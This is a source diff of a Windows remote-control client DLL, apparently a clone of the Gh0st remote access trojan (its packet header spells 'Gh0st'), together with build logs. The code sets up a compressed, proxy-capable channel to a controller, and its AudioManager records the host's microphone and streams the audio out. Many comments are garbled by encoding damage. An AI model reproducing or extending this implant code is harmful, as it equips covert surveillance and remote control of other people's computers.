//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
throw "bad Allocate";
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
//<2F><><EFBFBD><EFBFBD> m_pManager->OnReceive<76><65><EFBFBD><EFBFBD> ת<><D7AA>m_pManager <20><><EFBFBD><EFBFBD>
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
else
throw "bad buffer";
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
}
catch (...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
}
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CClientSocket::Disconnect()
{
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
/*<2A><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD>ѡ<EFBFBD><D1A1>
setsockopt(
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>׽<EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
int option_name, // option_nameָ<65><D6B8>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ򵽴<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65><EFBFBD><E1B9B9>
struct linger {
int l_onoff;
int l_linger;
};
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
const void *option_value, //LINGER<45>
size_t ption_len //LINGER<45><52>С
);
*/
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CancelIo((HANDLE)m_Socket);
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
SetEvent(m_hEvent);
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_Socket = INVALID_SOCKET;
}
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete[] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete[] pDest;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
CopyMemory(lpResendWriteBuffer, lpData, nSize);
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
if (lpResendWriteBuffer)
delete[] lpResendWriteBuffer;
}
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
}
// <20>ֿ鷢<D6BF><E9B7A2>
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nRet = 0;
const char *pbuf = (char *)lpData;
int size = 0;
int nSend = 0;
int nSendRetry = 15;
int i = 0;
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
{
for (i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, pbuf, nSplitSize, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
pbuf += nSplitSize;
Sleep(10); // <20><>Ҫ<EFBFBD><D2AA>Sleep,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
if (size > 0)
{
for (i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, (char *)pbuf, size, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
}
if (nSend == nSize)
return nSend;
else
return SOCKET_ERROR;
}
void CClientSocket::setManagerCallBack(CManager *pManager)
{
m_pManager = pManager;
}
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
{
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
memset(m_strUserName, 0, sizeof(m_strUserName));
memset(m_strPassWord, 0, sizeof(m_strPassWord));
m_nProxyType = nProxyType;
if (lpszProxyHost != NULL)
lstrcpy(m_strProxyHost, lpszProxyHost);
m_nProxyPort = nProxyPort;
if (m_strUserName != NULL)
lstrcpy(m_strUserName, lpszUserName);
if (m_strPassWord != NULL)
lstrcpy(m_strPassWord, lpszPassWord);
}

View File

@@ -0,0 +1,114 @@
// ClientSocket.h: interface for the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
#define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_
#include <winsock2.h>
#include <mswsock.h>
#include "common/Buffer.h" // Added by ClassView
#include "common/Manager.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Change at your Own Peril
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
#define HDR_SIZE 13
#define FLAG_SIZE 5
enum
{
PROXY_NONE,
PROXY_SOCKS_VER4 = 4,
PROXY_SOCKS_VER5
};
struct socks5req1
{
char Ver;
char nMethods;
char Methods[2];
};
struct socks5ans1
{
char Ver;
char Method;
};
struct socks5req2
{
char Ver;
char Cmd;
char Rsv;
char Atyp;
unsigned long IPAddr;
unsigned short Port;
// char other[1];
};
struct socks5ans2
{
char Ver;
char Rep;
char Rsv;
char Atyp;
char other[1];
};
struct authreq
{
char Ver;
char Ulen;
char NamePass[256];
};
struct authans
{
char Ver;
char Status;
};
class CClientSocket
{
friend class CManager;
public:
CBuffer m_CompressionBuffer;
CBuffer m_DeCompressionBuffer;
CBuffer m_WriteBuffer;
CBuffer m_ResendWriteBuffer;
void Disconnect();
bool Connect(LPCTSTR lpszHost, UINT nPort);
int Send(LPBYTE lpData, UINT nSize);
void OnRead(LPBYTE lpBuffer, DWORD dwIoSize);
void setManagerCallBack(CManager *pManager);
void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
void run_event_loop();
bool IsRunning();
HANDLE m_hWorkerThread;
SOCKET m_Socket;
HANDLE m_hEvent;
CClientSocket();
virtual ~CClientSocket();
private:
static int m_nProxyType;
static char m_strProxyHost[256];
static UINT m_nProxyPort;
static char m_strUserName[256];
static char m_strPassWord[256];
BYTE m_bPacketFlag[FLAG_SIZE];
bool ConnectProxyServer(LPCTSTR lpszHost, UINT nPort);
static DWORD WINAPI WorkThread(LPVOID lparam);
int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize);
bool m_bIsRunning;
CManager *m_pManager; //---<2D>鿴CManager <20><><EFBFBD><EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD>
};
#endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)

View File

@@ -0,0 +1,17 @@
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog

View File

@@ -0,0 +1,22 @@
 pch.cpp
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
正在生成代码...
dllmain.cpp
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,18 @@
f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb
f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog

View File

@@ -0,0 +1,24 @@
 pch.cpp
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
dllmain.cpp
正在生成代码
All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,84 @@
// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "AudioManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
bool CAudioManager::m_bIsWorking = false;
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
{
if (!Initialize())
return;
BYTE bToken = TOKEN_AUDIO_START;
Send(&bToken, 1);
// Wait for remote dialog open and init
WaitForDialogOpen();
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
}
CAudioManager::~CAudioManager()
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
delete m_lpAudio;
}
bool CAudioManager::Initialize()
{
if (!waveInGetNumDevs())
return false;
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
if (m_bIsWorking)
return false;
m_lpAudio = new CAudio;
m_bIsWorking = true;
return true;
}
int CAudioManager::sendRecordBuffer()
{
DWORD dwBytes = 0;
UINT nSendBytes = 0;
LPBYTE lpBuffer = m_lpAudio->getRecordBuffer(&dwBytes);
if (lpBuffer == NULL)
return 0;
LPBYTE lpPacket = new BYTE[dwBytes + 1];
lpPacket[0] = TOKEN_AUDIO_DATA;
memcpy(lpPacket + 1, lpBuffer, dwBytes);
if (dwBytes > 0)
nSendBytes = Send(lpPacket, dwBytes + 1);
delete lpPacket;
return nSendBytes;
}
void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
NotifyDialogIsOpen();
return;
}
m_lpAudio->playBuffer(lpBuffer, nSize);
}
DWORD WINAPI CAudioManager::WorkThread( LPVOID lparam )
{
CAudioManager *pThis = (CAudioManager *)lparam;
while (pThis->m_bIsWorking)
pThis->sendRecordBuffer();
return -1;
}

View File

@@ -0,0 +1,31 @@
// AudioManager.h: interface for the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)
#define AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "Audio.h"
class CAudioManager : public CManager
{
public:
CAudioManager(CClientSocket *pClient);
virtual ~CAudioManager();
int sendRecordBuffer();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool m_bIsWorking;
private:
bool Initialize();
CAudio *m_lpAudio;
HANDLE m_hWorkThread;
static DWORD WINAPI WorkThread(LPVOID lparam);
};
#endif // !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)

View File

@@ -0,0 +1,473 @@
// Buffer.cpp: implementation of the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
//#include "StdAfx.h"
#include "Buffer.h"
#include "math.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: CBuffer
//
// DESCRIPTION: Constructs the buffer with a default size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::CBuffer()
{
// Initial size
m_nSize = 0;
m_pPtr = m_pBase = NULL;
InitializeCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ~CBuffer
//
// DESCRIPTION: Deallocates the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::~CBuffer()
{
if (m_pBase)
VirtualFree(m_pBase, 0, MEM_RELEASE);
DeleteCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
CopyMemory(m_pPtr,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
{
